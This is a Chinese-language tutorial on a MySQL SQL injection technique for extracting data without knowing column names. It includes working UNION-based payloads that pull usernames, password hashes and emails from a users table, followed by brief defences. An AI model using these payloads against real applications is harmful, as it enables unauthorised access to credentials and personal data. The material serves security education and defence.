在不知道 MySQL 列名的情况下泄露数据的 SQL 注入技巧
字数 995 2025-08-26 22:11:15
MySQL无列名注入技术详解
引言
在MySQL数据库注入攻击中,传统方法通常需要知道表名和列名才能有效提取数据。然而,当遇到以下情况时,传统方法会失效:
- MySQL版本低于5,无法使用information_schema
- WAF(Web应用防火墙)将information_schema相关查询列入黑名单
- 只能暴力破解出部分列名,不足以获取完整数据
本文将详细介绍一种无需知道列名即可从MySQL数据库中提取数据的注入技术。
技术原理
该技术的核心思想是:
- 通过UNION操作创建一个临时结果集,其中原始表的列被替换为数字标识
- 然后通过别名引用这些数字标识来提取特定列的数据
详细步骤
第一步:确定表结构
假设我们已经通过暴力破解或其他方式确定存在一个名为users的表,但不知道其具体列名。
原始表内容示例:
id | name | password | email | birthdate | added
---+-----------+--------------------------------------+---------------------------+------------+---------------------
1 | alias | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | veronica80@example.org | 1981-05-03 | 1993-03-20 14:03:14
2 | accusamus | 114fec39a7c9567e8250409d467fed64389a7bee | sawayn.amelie@example.com| 1979-10-28 | 2007-01-20 18:38:29
...
第二步:创建数字映射
执行以下查询将原始表的列替换为数字:
select 1,2,3,4,5,6 union select * from users;
结果:
1 | 2 | 3 | 4 | 5 | 6
-+---------+---------------------------------------+--------------------------+-----------+-------------------
1 | alias | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | veronica80@example.org | 1981-05-03 | 1993-03-20 14:03:14
2 | accusamus| 114fec39a7c9567e8250409d467fed64389a7bee| sawayn.amelie@example.com| 1979-10-28 | 2007-01-20 18:38:29
...
第三步:通过数字引用列
现在可以通过数字引用特定列的数据:
select `3` from (select 1,2,3,4,5,6 union select * from users)alias;
这将返回第三列(密码列)的所有值。
第四步:构建注入Payload
将上述技术应用于实际注入场景:
- 提取name列(第2列):
-1 union select 1,(select `2` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)--
- 提取password列(第3列):
-1 union select 1,(select `3` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)--
- 提取email列(第4列):
-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)--
第五步:组合数据
可以组合多个列的数据:
-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)--
这将返回"密码:邮箱"格式的组合数据。
技术要点
-
UNION要求:前后SELECT语句的列数必须相同,因此需要先确定表的列数
-
列数确定方法:
- 使用
ORDER BY递增测试 UNION SELECT 1,2,3,...直到不报错
- 使用
-
别名使用:必须为子查询结果设置别名(如
a或redforce) -
LIMIT控制:通过
LIMIT 1,1可以获取第二行数据,LIMIT 2,1获取第三行,以此类推 -
数据类型处理:确保提取的数据类型与主查询期望的类型匹配
防御措施
- 使用预编译语句(Prepared Statements)
- 实施最小权限原则
- 对所有用户输入进行严格过滤和验证
- 使用WAF防护,但需注意可能被绕过
- 定期更新和修补数据库系统
总结
这种无列名注入技术提供了一种在不知道具体列名情况下提取MySQL数据的有效方法,特别适用于information_schema不可用或被过滤的场景。安全人员应了解这种技术以更好地防御潜在攻击,而开发人员则应采取适当措施防止此类注入发生。